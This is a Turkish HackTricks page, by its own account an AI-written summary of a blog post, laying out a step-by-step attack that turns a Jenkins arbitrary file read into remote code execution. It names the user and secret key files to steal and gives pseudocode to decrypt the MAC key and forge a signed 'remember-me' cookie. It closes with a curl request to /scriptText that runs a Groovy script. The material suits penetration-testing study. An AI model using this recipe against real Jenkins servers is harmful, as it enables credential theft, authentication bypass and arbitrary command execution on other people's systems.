Jenkins Arbitrary File Read to RCE via “Remember Me”

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu blog yazısında, Jenkins’teki bir Yerel Dosya Dahil Etme açığını RCE’ye dönüştürmenin harika bir yolunu bulmak mümkün: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Bu, bir yerel dosya okuma istismar edilerek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:

Saldırı Ön Koşulları

  • Özellik Gereksinimi: “Beni hatırla” etkin olmalıdır (varsayılan ayar).
  • Erişim Düzeyleri: Saldırganın Genel/Okuma izinlerine ihtiyacı vardır.
  • Gizli Erişim: Anahtar dosyalardan hem ikili hem de metin içeriğini okuma yeteneği.

Ayrıntılı İstismar Süreci

Adım 1: Veri Toplama

Kullanıcı Bilgisi Alma

  • Her kullanıcı için $JENKINS_HOME/users/*.xml dosyasından kullanıcı yapılandırması ve gizli bilgileri erişin:
  • Kullanıcı Adı
  • Kullanıcı tohum
  • Zaman Damgası
  • Şifre karması

Gizli Anahtar Çıkartma

  • Çerezi imzalamak için kullanılan kriptografik anahtarları çıkartın:
  • Gizli Anahtar: $JENKINS_HOME/secret.key
  • Anahtar: $JENKINS_HOME/secrets/master.key
  • MAC Anahtar Dosyası: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Adım 2: Çerez Sahteciliği

Token Hazırlığı

  • Token Süre Sonu Zamanını Hesapla:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Mevcut zamana bir saat ekler
  • Token için Verileri Birleştir:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Anahtarının Şifre Çözümü

  • MAC Anahtar Dosyasını Şifre Çöz:
key = toAes128Key(masterKey)  // Anahtarı AES128 anahtar formatına dönüştür
decrypted = AES.decrypt(macFile, key)  // .mac dosyasını şifre çöz
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

İmza Hesaplama

  • HMAC SHA256 Hesapla:
mac = HmacSHA256(token, macKey) // Token ve MAC anahtarı kullanarak HMAC hesapla
tokenSignature = bytesToHexString(mac) // MAC'i onaltılık dizeye dönüştür

Çerez Kodlama

  • Son Çerezi Oluştur:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Çerez verilerini Base64 ile kodla

Adım 3: Kod Çalıştırma

Oturum Kimlik Doğrulaması

  • CSRF ve Oturum Token’larını Al:
  • /crumbIssuer/api/json adresine bir istek yaparak Jenkins-Crumb’ı elde et.
  • Yanıttan JSESSIONID’yi yakala, bu, hatırla çerezi ile birlikte kullanılacaktır.

Komut Çalıştırma İsteği

  • Groovy Script ile POST İsteği Gönder:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy script, sistem düzeyinde komutları veya Jenkins ortamında diğer işlemleri çalıştırmak için kullanılabilir.

Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins’e istek yapmanın nasıl yapılacağını göstermektedir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin